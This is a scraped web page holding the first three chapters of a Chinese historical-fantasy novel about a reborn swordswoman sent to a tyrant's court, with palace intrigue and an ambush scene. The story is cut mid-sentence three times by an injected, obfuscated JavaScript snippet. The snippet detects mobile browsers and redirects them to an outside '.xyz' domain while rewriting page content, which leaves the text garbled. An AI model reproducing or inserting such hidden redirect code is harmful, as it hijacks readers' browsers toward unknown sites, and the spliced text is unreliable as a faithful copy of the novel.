《定军山》 1. 第 1 章 魔鬼套上神仙皮囊 第一章蚕丛鱼凫(一) 卫开梧,年十九,辽州卫氏女,蚕丛氏之后,少有美名,既长,以剑舞名动四方。 这般美名,自然求取者无数。 长安的皇帝谁也不知道什么模样,却忽然有一天税官来了、花鸟使来了、抓走好人家的娘子,税一下子多了一倍,百姓们苦不堪言。 厉国本是大周的诸侯国,暴君的手伸不到这里来,可自从二十年前先帝剪除了大多数诸侯国,原来的厉王也降爵为侯。 诸侯王之女竟然也被花鸟使强行带走,若是不从,区区边陲苦寒之地的列候,皇帝要杀也不过一道手书。 “那暴君每天娶一个女子,第二天早上太阳升起之前就会杀了她,已经有一百多人遇害了,残暴程度亘古未有。” “大娘子此去十死无生啊,要不,让她逃吧!” “胡言乱语!她要是逃了,家族怎么办?暴君必然将……” “我可怜的大娘子啊……” 从前的厉王府,如今的侯府乱作一团。老夫人已经哭倒在儿媳怀中,下人们惊惧宛如雏鸟。孙十童看着越发轻慢了起来,这也算侯府吗?笑话。 车队已经等着了,孙十童皮笑肉不笑地说:“还请大娘子出来让咱见上一面,也好看看是否能进宫伺候陛下。” 不过是个落魄的宦官也敢在世代公卿的门阀家主面前掷声,真是天道不公! 厉侯卫懿上前一步,双目赤红,“奸贼安敢欺我!” “此乃陛下的旨意,点了名要卫大娘子进宫伺候,侯爷冲着我发火也没用啊。”他的脸皮是泥巴地,怎么踩都是一个样。 · 前院卧房内,床上欺霜赛雪的女人眼皮紧闭,陷入噩梦。 “卫开梧!卫开梧!” “三岁习剑,十四岁名动四方,十七岁已属当世一流高手。你每天挥剑上千次,十六年来,露钞雪纂,未有一日怠慢,却死于剑之下!” “你对不起你的剑!” “卫开梧!你辜负了剑客之名!” 耳边的咆哮声骇得她肝胆俱裂,好像有人背着她的尸体爬着哭泣,忽地一根套索系上他的脖颈,他抱着她被驽马拖行绕城一周,背部清晰可见的骨头,血和黄土融为一体。 那是、师兄!是师兄的血! 他们两个被磨烂了,肉碎在一起,挫骨扬灰也在一起。 “不!”卫开梧凄厉怒吼着睁开眼睛,她像是从水里捞出来、又像是害了恶疾暴汗不止,寝衣湿得能拧出水来。 “大娘子!外面的宦官逼家主和夫人交出你……呀!”婢女险些被门槛磕破头,惨白的脸上是惊恐至极的神情,吓得往后爬去。 “不好了!不好了!大娘子疯魔了!”那夜叉般的容貌怎么会是大娘子呢! “住口!”一把三寸长的匕首牢牢钉在婢女双脚间,竟然深入青砖半寸,婢女吓得两股战战瘫软在地。 “来人,把她抬下去,再来个人给我梳头。” 婢女们从各个避光的角落爬了出来,像是一下子活了,梳头的、管妆奁的、衣裳、鞋子、脂粉双雄、捧脸盆的……洋洋洒洒十个人不过顷刻就把卫开梧打扮得清丽无双、好像刚才那夜叉修罗一样的女人只是幻觉。 卫开梧对镜自顾,觉得镜中女子只是个徒有其表的绝世废物,不仅自己死了,还连累了师兄。 孙十童已经等了数日,拖不下去了。 前世任凭她使尽解数也不过拖延了一段时日。 她沉吟片刻对左右说:“孙十童在外面吗,是了,就是今天,待我离开后尔等拿着契书,各自离开,阖府上下,任何人等,不许阻拦。” 婢女嬷嬷们四顾茫然,而此时忽然狂风大作,吹得仪仗车仰马翻,中堂乱作一团,孙十童正了正帽檐,冷酷地说道:“午时已过,还不见卫开梧出来,尔等是想欺君罔上不成?莫非当我的刀不利吗?” 这太监说真的,他真的会杀人! 她踏进前堂便听见孙十童在威逼父亲,看着他那张分外熟悉的脸在上演熟悉的戏码,卫开梧忽然就笑了下,笑意盈盈道:“谁人在我卫家大放厥词,不是想见我吗?卫开梧在此,哪个敢放肆!” “大娘子,好大的口气,我知道你爹本事,这次来我已经带齐了二百兵士,将卫家团团围住,你插翅难逃,大娘子当以家族为重,不然阖族上下,可就难逃一死了!” 卫开梧和孙十童的距离不过七八步,对她这样的高手来说连一眨眼的功夫都不需要,她也的确这么做了,左右护卫还没反应过来,中常侍就已落入了她人手中。 “大胆!” “放肆!” “大人!” 谁也没看清她是怎么动的手。 孙十童惊了,他没想到卫开梧真的敢动手,这女人莫不是个疯子,“卫开梧,你竟然敢对我动手!你就不怕陛下问罪吗!” “我怕什么?”她的声音轻极了,“不是还有孙常侍陪我一起么。” “我不过是个阉人,给主人殉葬都嫌脏的东西,您可是珍珠,我哪配和您一起死啊。” “这可不对,陛下虽然残暴,却对常侍格外优待,依我看,陛下对常侍不无情谊啊。”她轻轻摩擦孙十童耳垂后的翳风穴,声音虽然小也足够数人听见了,“公公好细的腰,怕是一折就要断了,陛下知道了可是要心疼的。” 孙十童只感觉勒住他腹部的手有数百斤的力道,胸腔发出哀鸣,又气又怒,他不怕别个,做太监有什么不好,荣华富贵挨上一刀就能爬进天下最显贵的地方,可卫开梧竟然揭开了他最引以为耻的秘密,她是怎么知道的! “你——!” 老夫人吓得肝胆俱裂,“不可啊不可啊大娘子,这是天使啊!” “我乃陛下之亲信,行走在外,伤我如伤皇室威严!” “到了此等地步孙常侍依旧这么嘴硬是个不怕死的,让开!” 她挟持孙十童向外走去,士卒纷纷向两边让开。 父亲扑来抓住她的裤脚,“大娘,万万不可,你若是走了,全族上下一千多条性命啊!这些可都是你的骨肉至亲,你要眼睁睁地看着你母亲惨死吗?” 一步两步、三步四步……卫开梧将孙十童向马车内一推,自己也跳了上去。 孙十童捂着喉咙,声音嘶哑地说:“即使你挟持我也插翅难逃,我要将你父兄抓起来放干鲜血,掉在菜市口处以锯刑!将你姐妹母亲祖母施加炮烙之刑,铁面浇注铁水,再生生地撕下来!” 卫开梧加重手上的力道,“我家究竟与你有什么深仇大恨?” 孙十童只是冷笑,“你已错过最好的机会,现在马车被团团围住你即使想冲出去也办不到。” 孙十童得意道:“夫人,启程吧。” 卫开梧收回手,坐正,“好,那就走吧。” 前一刻她还想要掐死他,这一刻却又同意跟他回长安了。孙十童不敢信,以为自己听错了。 “大娘子是认真的?” “你不信我?” 孙十童被掐狠了,眼尾泛红、嗓音嘶哑,“我在阳城呆了这段时日,哪看不出来,天下凋敝,唯独厉侯封地富庶,就是连京畿地区的几座大城也比不得,大娘子的本事可真不小。” “我哪里有什么本事,不过是管着祖传的家业,又得父老信任罢了,辽东苦寒之地能有什么繁华比得上长安,此番路上还需公公照拂。” 孙十童瞠目结舌,指着她手发颤:“你是不是疯了?” 疯了? 或许真让他说中了。 她还未来得及整理好思绪, …… 那暴君坐在皇位上已有九个月。 明日就是二月二龙抬头,刺骨寒风也没吹干太极殿下九十九级的血,小太监们夜以继日的擦,水桶快把清明湖捞干了,河蚌暴尸数日,竟然无人去拾。数万原本是好百姓的劳役们被绳索牵引着来到长安,慢了一步皮鞭就要抽到背上,烈日炎炎,火辣的裂土将脚底板和大地融为一体。 冗长的队伍沉默无声,沿途的村庄早都空了,刁民们闻风而动钻进大山里当野人去了,人数不起,鹤松烟已然疯魔,见人就抓。 兄长松年已经在天牢里吃皇粮十天,鹤党失去主心骨乱作一团,徐党杀了鹤党一个措手不及,如不是小鹤大人力挽狂澜,接下了请仙台修建的差事,恐怕鹤党要全军覆没。 即使如此,鹤党如此也不过是苟延残喘罢了。 请仙台修建好了,神仙又去哪里找?最后仍不免一死罢。 斗大的太阳仿佛贴面而行,小鹤大人晒不黑的白皮倒是没有什么世家子弟的特殊性,也流汗、也起泡,他伸手一摸,竟然是冷汗。 酥麻劲儿贴着头皮攒到尾巴骨,鹤松烟大手一挥,要求队伍加快速度,“快些!再快些!” 离长安还有五十里,今晚关城门前是一定要到的。 “鹤大人,这些贱骨头好像真的走不动了,这日头可真是大啊。”车内,监军中常侍邓象闵掐着嗓子撩开车帘瞧了瞧,“幸好鹤大人英明,多征了些要不然啊到了长安数量不够你我可要吃挂落的。” 鹤松烟也从 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16549950|186794||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 掀开的一角帘往外看了看,正巧和一民夫麻木的眼睛对上,二十年清白书学的道德文章一股脑涌上来,他手指向下一放,正巧落在马车包铁的铜钉上,烫得他一缩手,帘子随之落下。 眼不见为净。 邓象闵看在眼里轻轻拍了拍鹤松烟的手背,“铁皮烫人,鹤大人可要小心。” 读书人就是狠不下心肠,既想要名声又想要官位,天下哪有这种好事。 马车里太监尖利的声音响起:“传我之命,全速前进,如有掉队者,就地格杀!” 那杀字尖锐刺耳,鹤松烟的心也随之颤了又颤。他坐在紫色蝠纹的团塌上闭目沉思,邓象闵便趁机斜眼打量他,心里想:倒是和他兄鹤大人不怎么像。 ‘陛下有命要造古往今来最高的楼阁,名曰请仙台,尔等都是被选中的全福之人!南北东西万八千尺,亘古未有!’ 国库一年的税赋不够,麻饷已经征到了大召二十年,可是跟他有什么关系呢,想必只此一糟省得数十年宦海,说不定他五十岁就能颐养天年了。 就在邓象闵盘算着能捞多少时前头忽然喧闹起来。 “前头出什么事了?”莫非是那些该死的贱民闹起来了不成? “中常侍,撞上孙公公了。” “孙十童?他怎么出宫了?快去打听!” “是!” 长蛇队前是另一个车队,这车队人要少得多,只有百十号人,打头的是中常侍孙十童,胯下一匹枣红马,头戴羽冠,好不威风。 “邓象闵?到他前头去。” 路只能容得下两辆车,偏偏孙十童停在道口不动了。 劳役们一旦停下来就再也走不动了,有的甚至栽到下来,再也没爬起来了。 “晦气,叫他们的人来拖走!” 叫孙十童的宦官看着英武,倒像一个武官。 他手下都是精锐,人人披半甲。霸占着路不动,劳役过不去,两方人僵持着。 邓象闵皮笑肉不笑道:“好大的威风啊孙公公,你拦在这里做什么,今日一更我必然是要入城的,耽误了请仙台的建造,你可担待得起!” “我自然不敢,只是皇命难违,陛下命我速速回宫,我一路快马加鞭,可是不巧,车辕断了。前不着村后不着店,真叫人为难啊。” 邓象闵一看,果然,车辕是断了,难不成真的是巧合? 他看向孙十童身后华贵的马车问道:“里面坐的是谁?” “新夫人。” 暴君除了大兴土木、清理族谱外就是大索天下美人。 “哈哈哈!你堂堂中常侍长信宫卿,秩两千旦,却也做起了稗官的勾当,花鸟使!这个名字倒是衬你。你我也算相交多年,你不仁我不能不义,就让这位新夫人坐我那辆车吧。” “多谢” 孙十童对着车内低声询问。 邓象闵轻嗤一声,迫不及待地讨好新主子呢。 孙十童啊孙十童,你也有今天,想当初你和太后迎暴君入宫何等威风八面,不过两个月的功夫就落得如此下场,那暴君岂是知恩图报的,登基之后便剪除了那些迎他入宫的陈太后外戚,这可真是引狼入室啊。 “事急从权,夫人请下车吧。” 里面的女子应了一声,车帘掀开,饶是邓象闵见惯了绝代佳人却也差点移不开目光,这是何等的天姿国色,若是暴君见了必然如获至宝,那孙十童岂非有可能东山再起? “多谢中常侍。” 鹤松烟连忙避让,心中怒斥宦官没了根连男女不宜同乘都忘了,马车不大,两个人膝盖几乎碰着,女子没想到里面还有个年轻的官员,微微一愣,踩着脚踏跨上马车。 先听了话儿,知道这是夫人,不知道的还以为是哪来的侠女,坐姿也和他熟悉的女子不同,膝盖微微张开,手搭在大腿上,身量和他差不多,眼睛目不斜视,脸上的珠帘随着马车启动微微摇晃,外面邓象闵接过缰绳,他原本就是太仆寺出身的宦官,即使高升驾车的本事也还在。 “驾!” 队伍重新出发,站不起来的人被拖到路两边,余下的队伍安静到令人发指,除了踉跄的脚步声什么也没有,甚至连呼吸都听不见了。 “夫人,臣中书舍人鹤松烟问候夫人。” “嗯……嗯?” “鹤大人有礼。” “夫人稍安勿躁,很快就到长安了,只是臣与夫人同乘一事最好不要同他人说起,不然对臣和夫人都不好,毕竟您以后是要做贵人的。” “陛下也不行吗?” “自然是不行的。” 2. 第 2 章 鹤松烟以为这事就算是过去了,约莫半个时辰,他看到新夫人不安地动了动,脸上似有痛苦之色,问:“夫人是不是腿麻了?” 她拘禁地点了点头。 鹤松烟欲让车靠边停一下,原地休息一盏茶的时间,其实他原本也不习惯长时间坐马车,可这一路上实在多难,坐马车竟然也成了快乐事。 马蹄在水坑里崴了一下,马儿吃痛,扬起前蹄,邓象闵勒紧缰绳。车身剧烈摇晃,鹤松烟死死抓着窗框,就被扑了个满怀。外头邓象闵正在那指天骂地,里头却安静急了,鹤松烟半点旖旎的念头都没有,撞鬼似的要把卫开梧推开,这要是让邓象闵孙十童之流看见了,他就等着被握把柄利用到死吧。 手刚握住肩膀,就听声音从他颈窝传来,带着哈出的热气,“这事儿也不能告诉陛下,对吗?” 他猛地低头,撞入一双幽深的黑眸,“你——” 鹤松烟,她是记得的。他与胞兄鹤松年同为鹤党的魁首,与宰相分庭抗礼,斗的你死我活。鹤松年她没见过,但鹤松烟她是认识的的,这个人啊……她意味深长地仰头看他,是个连亲兄长都能杀的人面兽心的货色。 而现在,他在世人眼中还是个懦弱的伪君子。 这只禽兽不仅在狼皮外套了羊皮,又在羊皮外套了人皮。 “前面就是狭间古道,地势险要,加强防备!”偏将令下,弓箭手和弩手警惕地看向两侧山壁。 “将军也太谨慎了,天子脚下不过半日的路程也有歹人胆敢放肆不成?”邓象闵笑了笑,浑不在意,“莫非还有人敢冒天下之大不韪劫持陛下的新婚贺礼不成?” 除了卫开梧这位名满天下的美人之外,他还带上了十车各地诸侯官员世家达官贵人们献上的贺礼,这主意还是他给陛下出的,孙十童搜罗美人,他在征调民夫的同时顺便将各地献给陛下的心意押带回来。 邓象闵想着这趟差事办的实在好,陛下一定有赏赐下来。 只要好生服侍陛下,陛下不耐烦朝政,这事早有先例,也不是每个皇帝都勤于政务,不如说勤于政务的皇帝才稀罕,皇帝懒得理,又不肯放权给内臣,可不得信任忠心耿耿的宦官吗。 他的好日子可在后头呢。 “驾!” “公公小心!!!” 徐将军一声暴喝,扑向邓象闵,两人翻滚数圈,避开了要命的毒箭,毒箭钉在马车上,吓得马儿不安地刨了刨蹄子。 徐将军话音刚落,狭间两面轰隆隆地响,数个巨石裹挟惊雷直扑而下! “不好!赶紧躲避!” “救我!!” “孙十童你敢害我!!呀!!!” 人仰马翻。 巨石顷刻将人砸成肉泥,民夫们如受惊的鸟雀四散奔逃。 正值午时三刻,孙十童仰面躺在乱石堆里,眼睛被阳光刺得流泪,腿上钻心的剧痛。 石头滚落彻底堵死了狭间的路,尚存的士兵们狼狈抵抗不知从哪射来的箭雨,徐将军被一箭穿过眼眶,扑棱棱砸在他身边,脑袋凹下去一块,黄的白的一起流出来,他脑子里响起一个声音,远远地从天边传过来,那时跟现在一样,也是个令人不安的午后,他们全家哆哆嗦嗦站在一块,穿着厚厚的绸缎衣裳,他记得祖母腰间的碧玺腰带,记得母亲发髻山簪的海棠花,他看见一群青面獠牙的人冲进来,撤掉他们华美的衣裳,把他们踩进泥土里…… “孙十童!你还活着吗?!” 他把压着孙十童腿的石头挪开,血肉模糊 “哎呦……疼死了……” “救……我!”孙十童牢牢抓住邓象闵的手腕。 “疼死了!断了,放开咱!” 孙十童忍着剧痛站起来,紧忙去找,“卫开梧在哪?” 卫开梧运气不太好,第一波巨石直接将马砸死,马车也毁了,她狼狈地爬出来,手里还拖着一个昏过去的鹤二。 “轰隆——”又是巨石滚下,携带惊雷之势,卫开梧连滚数圈,头撞在马尸上,视线顿时不真切起来。 她想起了上一世。 三岁习剑、五岁学舞,十五名动天下,她是世间罕有的剑舞双绝之人。 冬天她会在池塘上练剑,阳城的夏天很短,荷花总是来不及完全开放就已经凋谢,久而久之,她就不再让人清理池塘,直到它干涸后露出干净的池底。冬天,她用干燥的雪花缓慢擦拭剑身,兵器库里有她数年来收集的所有名剑,剑身倒影烛火寒芒闪烁见,她凌厉疯狂的眼睛也映在剑身上,那团跳动的火苗好像燃烧在她眼中。 倏地、卫开梧睁开双目,侧身避开致命的乱石。 她被惊马抛出车外,鹤松烟伸手托了她一下,两人一起被甩出车外,滚下了上坡,避开乱刀,又有杀手紧随而至。刀光明晃晃照射在她脸上,卫开梧的脑海中闪过一段陌生激烈的记忆,来不及多想,拔剑挡住杀手致命一刀。 剑光如电,瞬息就刺穿了杀手的喉咙。 鹤松烟强作镇定,“多谢夫人搭救。” “我才要谢过鹤大人,方才被抛出马车时鹤大人以身相护,卫开梧没齿难忘。”卫开梧甩了甩剑上的血说到。 他想说不过是食君之禄,忠君之事,可到底嚅嗫几下,也没发出声音,脑子怕是已经错乱了:这是孙十童准备献给暴君的美人、这、这真的是……天下哪有这样的美人? 其余杀手见她一剑毙命,立刻追来三四人,卫开梧瞅准时机携了他就逃,“事急从权,希望鹤大人勿怪,只是——” “我怎么会责怪夫人,微臣多谢夫人回护之恩。” 虽然带着一个人又是在乱石遍布的路上疾行,卫开梧的气息却一点不乱。 “只是?” 鹤松烟疑惑。 “只是不能告诉陛下?” 鹤松烟一怔,耳朵顿时烧得通红。 “夫人莫要打趣下官,速速退到安全的地方才是正经,”他看到炼狱一般的场景和巨石下哀嚎的人,一股呕吐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16549951|186794||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的欲望升起。 卫开梧架着他退到官兵后,最初的骚乱过去,另一稗将还算有领兵之能,这会已经组织好剩余的残部,和杀手交战起来。 杀手并不恋战,尖锐的啸声响起,杀手迅速撤退。 危机已过,活下来的人皆是心有戚戚,如今这般状况回到长安如何复命呢,难道上位会像是个贤明君主好好安抚他们一番再发下抚恤,再着一二狄仁杰一般的大臣查明真相、缉拿真凶么? “恐怕我们一回去就要被砍头啊。”邓象闵作为皇帝身边的近侍,虽然服侍时间尚短,却太清楚这位陛下的品性了,那就是个喜怒无常的疯子。 稗将疑惑道:“邓公公所言是否有些夸大其词了,陛下乃是九五之尊如何……” “呵呵,将军这话若是放在从前,咱可是要恼了的。” 世人偏见,宦官的心眼比针尖还小,放在邓象闵身上却不算是错。 “二位公公不能想想办法吗?” 满朝上下谁敢劝那暴君呢? 包扎了伤口,孙十童虚弱的靠在一边,道:“我等身如浮萍,身家性命都在陛下掌握之间,如今……万事休矣。” “如今这朝堂,鬼神都看不懂喽,都谨小慎微活着罢,没准哪天睡着了再也醒不来,城外十里坡又多了座荒坟。” 修整之后,不敢耽搁,余下的劳役也来不及清点,车轮往后一撞,复又前行来。 逃?能逃到哪里去,普天之下莫非王土、率土之滨莫非王臣,如今只盼着新得的美人能安抚君王,等皇帝龙颜大悦他就安全了,一定得是如此啊,皇帝最喜欢形形色色的美人,这个又是能绝世剑姬,想到这邓象闵恭维道:“夫人文武双全,陛下见了一定会喜欢的,可在宫中却也不是一人单打独斗就能成的,如今奴才得了夫人的搭救,自然要为夫人当牛做马,宫中人多眼杂,得有个耳听八方的为夫人牵牛搭弦的……” “嗤。”孙十童被他这副样子逗笑了,“邓公公说的也是奴才想说的,夫人诶,您就捎带着也收下我,我虽然没孙公公伶俐,但也颇得后宫老人看中,您有用得上我的地方。” 两个太监你一言我一语搭起戏台子,硬是把卫开梧架了上去。她只身去往长安,半个姻亲旧故都无,虽派了人先去打点,可外来的龙到了人家的地头也得盘着,连高衙大门朝哪开都摸不清,长安米贵,瞧不上边关来的,哪怕有千年世家的名头,也淡出中原繁华久矣,守着酷寒之地,全被当成关外野人。卫开梧心思转了下,就朝二人一笑,“若有幸有一番前程,自不会忘了二位大人。” 得了她确切的话,两人喜笑颜开,你一言我一语说起宫闱之事,有些连鹤松烟这个朝臣都没听过。 卫开梧听着、应着,时不时问几个重要的问题,见她如此聪慧两个一身心眼子的宦官更是放了心,聪明人好啊,就怕是个蠢的莽妇。马车不小,但挤了四个人,虽然穿着各异,但此刻却也没了夫人、宦官、朝臣的泾渭,可真成了一辆车上的人了。 3. 第 3 章 暴君每日娶一个妃子,隔天就杀掉,并不属实。并非每天都娶,也非每天都杀,但总要死一些的,这些花鸟使桃花使搜罗来的美人,哪个不是名声在外,多少郎君求取不得呢,可却被暴君玩乐般的杀了。 如今后宫最得宠的蕊夫人,她是跟在暴君身边的老人了,宫中哪个不敬她三分,皇后、太后、老夫人们,都仰仗她鼻息过日子呢。 俗话说花无百日红,这红了千日的又是什么呢。 前有褒姒、后有妲己,好像这些平凡女子真是个精怪,魅惑人的,眼睛一勾,明君就变成了暴君。 “什么时辰了?” 皇后从帷幔里伸出一只手,杨柱连忙搭上手臂,弓着腰道:“辰时了。” “那些太学生还跪着呢?” “是。” “没传到皇上耳朵里吗?” “没人敢提啊。” 太学生们在朱雀门宫门外长跪不起要求处死蛊惑君心的妖妃蕊夫人,要求处死‘八贼’之首范存真,那范存真乃是暴君的入梦贤臣,盛宠无二,那是区区太学生上书能够推翻的。 “这些人都疯了,他们以为几句话几封奏疏就能动摇范存真在陛下心目中的分量?他们以为真的是赵蕊、范存真等人蒙蔽了圣听?虫豸一样的东西真以为能通天呢。” “夫人说的是,他们都是读书读糊涂了的。” “那些青瓜里头可有我家的姻亲旧故之后吗?” “有几人,奴才已经命人将他们拖到朱雀宫外打了一百大板,抬下去养伤了,临走还有力气骂奴才呢。” 皇后欣慰地笑了,“还是你,懂事,知我的心意。” “还是娘娘教导有方。” “近日来有什么新鲜事吗?” “陛下心心念念的卫大姑娘到了,就宿在陛下潜邸时的王府。哪成想,一个粗手的隶臣打翻了宫灯,引起一场大火,子时才被扑灭呢。” “那倒是赶巧了,王府年久失修,不如寻芳馆精细妥帖。” “您说的是。” 皇后讥讽道:“不过是多年前见了一面,倒是上心的很,当初卫大姑娘没给陛下好脸子,倒是痛快的很,这件事,也就咱们几个知道,那些新来的,都不清楚,以后宫中可有热闹看了,这些年过去了,卫大竟然没婚娶倒是奇怪,我也只见过她一面。” “那也不及娘娘。” “你嘴里没一句实话,”刘蛮儿坐下让宫女梳妆,“不知赵蕊见了她会是什么表情,我得第一个瞧瞧,这假的怎么都变成不了真的,鱼目怎么能成珍珠。” · 高枉做了个梦,他明明从来没出过朱雀宫,却一梦梦到青分关。 梦中却出现了尸山血海,死人灰白的瞳孔愤怒地看向苍天,接住漫天的暴雨。 高枉被吓醒了,小太监立刻爬过来听吩咐,低着头等了半晌都没听到陛下的声音。 “几更了?” “刚过二更。” “朕睡了多久?” “半刻。” “半刻?” “陛下是做噩梦了吗?是否要召蕊夫人前来?” “这么晚,不用了,她素来睡不好,中途醒了就难以入眠。” 做了噩梦,睡不着了,干脆穿上外衣坐起来,太监们点上所有的蜡烛把宫室照得和白昼一样,也不知怎么的他忽然想看篝火,让人在宫室中点了起来。 篝火噼里啪啦的响,他听着这声音感到一阵安心。 第二日上朝言官纷纷议论高枉竟然在宫室内燃篝火,宫室都是木制的平日里就严禁烟火,若是发生火灾该如何是好? 言官薛载上奏劝谏,“陛下可忘了大召十四年的大火,烧毁了十几宫室,死伤无数,工部监花了一百多万两银子才修好,陛下此举未免不妥。” 大火烧死的数百人里就有皇帝嫡亲兄长,若不是先帝死于大火,他这个塞王别说继位了,连回京的机会都只有大丧时新帝允许方才可以。 大周以黑为贵,点缀金红纹饰、刺绣玄鸟、这身衣着衬得高枉极贵,好似真太昊之子,紫薇星君。 “你们来的倒是齐全。”并未理会躬身的薛载,许是前几日杀够了人、昨夜燃了火,玩耍够了,并不把自以为是的蝼蚁看在眼里。 他盯着大臣饶有兴致地说:“朕登基快一年了还没认清诸位肱骨,实在是朕的不是。” 众臣不敢轻易搭话,怕这位新君又起什么幺蛾子。 薛载还躬着身。 “你们不说话那就朕说吧,朕昨夜做个梦……” 梦。 众臣有种不好的预感,皇帝的梦绝非寻常,自古以来皇帝皆称身负天命,对谶纬之所深信不疑,尤其是新帝上次天人感应更是搞了个应梦贤臣,登基不过九个月竟然搞了个“八贼”出来,八贼之首范存真年才不过弱冠就官居二品、凭一介白身位列九卿,从古至今哪有这种荒唐事。 “存真今日怎么一句话不说?” 皇帝亲昵地在早朝时叫臣子的名字,未免不合规矩,可谁又能反对呢。 左侧一排为首的年轻人还没蓄须,貌若朗星俊美非凡,尤其他长得很特别,任谁看了都心生信赖天赐的一副板荡忠臣脸。 其他人的朝服都是靛蓝朱红墨绿,唯独范存真一身白色官服,面冠如玉。 “臣只是在想昨夜做的梦。” 高枉大为感兴趣,“哦?存真也做了梦,是什么梦?” “微臣梦见了一处雄关,臣站在马道上,和陛下并肩战斗,后背相抵,陛下的血流在臣的身上,臣的血也染红了陛下的龙袍。”范存真眉头紧锁,“臣来的路上一直在想,这梦实在荒唐,陛下乃天下共主麾下精锐百万,如何能上战场呢,又如何身边没有禁卫军只有臣一人守护陛下。” 同僚们的神情宛如青天白日见了鬼,鬼还把头拎在手里。 见过阿谀奉承、谗上媚下的,但范存真你也未免太拿大家不当人看。 高枉激动地从龙椅上站起,拾级而下来到范存真身边,声音颤抖,“爱卿竟然和朕做了同一个梦!” “朕未告诉任何一个人呐!” 高枉紧紧握住范存真的手,范存真低着头,“臣惶恐,臣罪该万死窥视陛下梦境。” “你何罪之有,这是上天给朕的启示,朕得爱卿如刘备遇诸葛亮啊,丞相。” “微臣不敢。” “你有什么不敢的,等朕有了儿女立储就让他喊你相父,再全一世我们的君臣之谊!” 一个早朝,八贼之首不仅地位没动摇分毫,还得了皇帝的口头承诺,未来要官拜丞相还要当储君的义父。 高枉动情地握住范存真的手说道:“前世朕创业未半、中道崩殂,爱卿在五丈原病逝,北伐无望,如今朕乃是天下之主,爱卿又回到了朕的身边,此乃天意昭昭……朕、朕……丞相!” 高枉忽然一声大喝,惊醒了泥塑的老丞相。丞相徐忌收颤颤巍巍转身稽首,“老臣在。” 高枉看他一眼说道:“你把丞相官服脱了,给纯真穿。” 满堂死一般的寂静所有人都以为自己在做一个恐怖的梦。 首辅古稀之年怎会受到如此羞辱。 徐温双膝重重砸在地砖上,膝行数步、凄惶地大喊:“陛下!不可啊!我父四朝元老,怎可当庭脱衣,如此屈辱、陛下不可啊!” 同时,追随徐忌收的官员也都纷纷下跪,如雕塑一般的薛载也跟着跪下,其余臣子也都物伤其类纷纷跪倒在地,范存真是第一个跪下的,未发一语。一时间偌大的朝堂只剩下高枉自己脸色难看地站着。 不仅徐温满脸是血,其他人虽然没有他凄惨但也额头乌青。 范存真道:“陛下,不可。” 他五体投地地跪着,谁也看不见他什么表情。 “若是阁老当众脱衣,臣绝对活不过今晚。” “还有人敢对你动手,这尸位素餐的老儿哪比得上你分毫,你可是千古第一贤臣啊。” “天下人如何能信呢?” 高枉踱了几步,“爱卿说的在理,世人眼睛都是瞎的,只看见身边方寸,爱卿乃是诸葛丞相转世定然能凭真本事让这些人闭嘴,可是如今海清河晏天下承平,江山如此稳固,存真就是想做出一番事业也没有发挥的余地啊。” 高枉叹了口气摇摇头,忽然转身道:“有了!不如朕命你为帅,领兵西北,剑指苍山洱海,为朕带回旃蒙可汗屠维的人头如何?朕立刻写下圣旨,西北十六路兵马全归你节制,大司农何在?国库还有多少钱财,朕记得还有一千万两白银……通通拿出来做军资,只此一战朕势必要灭了旃蒙!若是银子不够用朕的私库还有二百万两通通拿出来,再收缴全国十年的赋税,尔等福累王侯也要捐献全部家产,绣衣使统领何在,朕命你大索长安、所有世家门阀王室贵族但凡门前有狮虎的……全都进去把钱收上来,裴侍中!拟旨,命各地藩王诸侯国大王献万金,吴候十万!此等超越太祖高皇帝的功绩绩就要由朕来完成了。拟旨——” 百官不哭不嚎了,首辅衣服脱完了恭恭敬敬地托着呈给高枉,连小徐大人头上的口子都不流血了。 徐忌收道:“臣老迈昏聩,无法承担首辅之责,能有范大人这样的天命贤臣继任,臣也能安心告老还乡。” “你真的愿意退位让贤?” “老臣字字句句肺腑之言。” “早同意不就好了,”高枉高高兴兴接过衣服,“来人,给存真更衣。” 等范存真穿好,高枉满意地点点头,“果然红色衬你。” “你现在是丞相了,那朕就和爱爱卿谈谈灭旃蒙一事。” “陛下,此事需容后再议,丞相二十岁之时也无能力出兵北伐,何况臣。” “你说的也有道理。”高枉悻悻地坐上龙椅。 百官不敢再招惹他,纷纷闭嘴,成了哑巴瞎子。 此时,朝会的时间才进行了一半。 三跪九叩完毕,这个加冠之年的青年就成了大周国的丞相,宰执天下,一人之下万人之上。 “既然发兵旃蒙不合时宜,让朕想想……自我朝代周天命,自然也要承接大周国祚,那不如换个国号如何,改周为汉,两汉四百年,大周四百年,加起来就是八百年,应大赦天下,求上天保我大汉万世之基!” 朝堂静悄悄的,有老臣受不了刺激直接晕死过去。 高枉正在兴头上根本注意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 